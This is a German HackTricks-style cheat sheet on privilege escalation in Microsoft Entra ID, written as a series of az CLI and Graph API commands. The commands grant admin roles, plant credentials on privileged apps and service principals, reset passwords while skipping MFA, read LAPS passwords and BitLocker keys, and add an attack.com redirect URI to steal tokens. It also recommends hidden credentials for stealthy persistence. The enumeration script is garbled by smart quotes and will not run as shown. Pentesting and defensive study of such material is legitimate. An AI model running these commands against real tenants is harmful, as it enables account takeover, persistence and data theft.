Az - EntraID Privesc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Note

Beachte, dass nicht alle granularen Berechtigungen, die eingebaute Rollen in Entra ID haben, zur Verwendung in custom roles geeignet sind.

Roles

Role: Privileged Role Administrator

Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um privileges zu escalieren.

  • Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Weitere Berechtigungen zu einer Rolle hinzufügen:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Anwendungen

microsoft.directory/applications/credentials/update

Dies ermöglicht einem Angreifer, Anmeldedaten hinzuzufügen (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Privilegien erlangen.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Dies ermöglicht dieselben Aktionen wie applications/credentials/update, aber beschränkt auf Single-Directory-Anwendungen.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Durch das Hinzufügen von sich selbst als Owner kann ein Angreifer die Application manipulieren, einschließlich credentials und permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenants verwendet werden, und ihnen dann login URLs mit der neuen redirect URL schicken, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die authentication automatisch erfolgt, ohne dass der Benutzer irgendetwas akzeptieren muss.

Beachte, dass es auch möglich ist, die permissions zu ändern, die die Anwendung anfordert, um mehr permissions zu erhalten, aber in diesem Fall muss der Benutzer die Abfrage, die nach allen permissions fragt, erneut akzeptieren.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

Wie in diesem Post erklärt war es sehr üblich, standardmäßige Applications zu finden, denen API permissions vom Typ Application zugewiesen waren. Eine API Permission (wie in der Entra ID console genannt) vom Typ Application bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne user login in die app) und ohne Entra ID roles zu benötigen, die das erlauben. Daher ist es sehr üblich, hoch privilegierte applications in jedem Entra ID tenant zu finden.

Wenn ein attacker dann irgendeine permission/role hat, die es erlaubt, die credentials (secret o certificate) der application zu aktualisieren, kann der attacker ein neues credential erzeugen und es dann verwenden, um sich als die application zu authenticate, wodurch er alle permissions erhält, die die application hat.

Beachte, dass der erwähnte blog einige API permissions gängiger Microsoft-Standardapplications teilt; jedoch hat Microsoft einige Zeit nach diesem Bericht dieses Problem behoben und jetzt ist es nicht mehr möglich, sich als Microsoft applications anzumelden. Es ist jedoch weiterhin möglich, custom applications mit hohen privileges zu finden, die missbraucht werden könnten.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Finde alle Anwendungs-API-Berechtigungen und markiere Microsoft-eigene APIs ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Dies ermöglicht es einem Angreifer, Credentials zu bestehenden Service Principals hinzuzufügen. Wenn der Service Principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Das neu generierte Passwort wird nicht in der Web-Konsole angezeigt, daher könnte dies ein stealth Weg sein, um Persistence über einen service principal aufrechtzuerhalten.
Über die API können sie gefunden werden mit: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Wenn du den Fehler "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." erhältst, dann liegt das daran, dass es nicht möglich ist, die Eigenschaft passwordCredentials des SP zu ändern, und du ihn zuerst unlocken musst. Dafür brauchst du eine permission (microsoft.directory/applications/allProperties/update), mit der du Folgendes ausführen kannst:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Dies ermöglicht es einem Angreifer, bestehende Service Principals mit Anmeldeinformationen zu versehen. Wenn der Service Principal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Ähnlich wie bei applications erlaubt diese permission, einem service principal weitere owners hinzuzufügen. Der Besitz eines service principal ermöglicht die Kontrolle über seine credentials und permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Nachdem ich einen neuen Owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt werde, obwohl genau diese Methode nötig ist, um den Owner zu löschen. Also kann man Owners heutzutage nicht entfernen.

microsoft.directory/servicePrincipals/disable und enable

Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er irgendwie Zugriff erlangen konnte, um seine Privileges zu eskalieren.

Beachte, dass der Angreifer für diese Technik weitere Berechtigungen benötigt, um die Kontrolle über den aktivierten service principal zu übernehmen.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für Single Sign-On, was Zugriff auf Drittanbieteranwendungen ermöglichen könnte.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Gruppen

microsoft.directory/groups/allProperties/update

Diese Berechtigung ermöglicht es, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu einer Privilege Escalation führt.

az ad group member add --group <GroupName> --member-id <UserId>

Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.

microsoft.directory/groups/owners/update

Diese Berechtigung erlaubt es, ein owner von groups zu werden. Ein owner einer group kann die Gruppenmitgliedschaft und Einstellungen kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.

microsoft.directory/groups/members/update

Diese Berechtigung erlaubt das Hinzufügen von Mitgliedern zu einer group. Ein Angreifer könnte sich selbst oder schädliche Konten zu privilegierten groups hinzufügen, was erhöhten Zugriff gewähren kann.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Diese Berechtigung erlaubt es, die Membership Rule in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen ohne explizite Hinzufügung aufzunehmen.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Note: Diese Berechtigung schließt Entra ID role-assignable groups aus.

Dynamic Groups Privesc

Es könnte möglich sein, dass Benutzer ihre Privilegien eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder von dynamic groups hinzugefügt zu werden. Für weitere Infos siehe:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

Diese Berechtigung erlaubt es, das Passwort von Nicht-Admin-Benutzern zurückzusetzen, wodurch ein potenzieller Angreifer seine Privilegien auf andere Benutzer eskalieren kann. Diese Berechtigung kann nicht custom roles zugewiesen werden.

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

Diese Privilege erlaubt es, Eigenschaften des Users zu ändern. Es ist üblich, dynamic groups zu finden, die Users basierend auf property values hinzufügen. Daher könnte diese permission einem User erlauben, den benötigten property value zu setzen, um Mitglied einer bestimmten dynamic group zu werden und Privileges zu escalaten.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Fehlkonfigurierte Conditional Access Policies, die MFA erfordern, könnten umgangen werden, prüfe:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

Diese Berechtigung erlaubt Angreifern, sich selbst als Besitzer von Devices zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Diese Berechtigung ermöglicht es Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erlangen oder Sicherheitsrichtlinien zu umgehen.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administrator-Kontodaten für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Keys, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und dadurch die Datenvertraulichkeit zu kompromittieren.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Andere interessante Berechtigungen (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks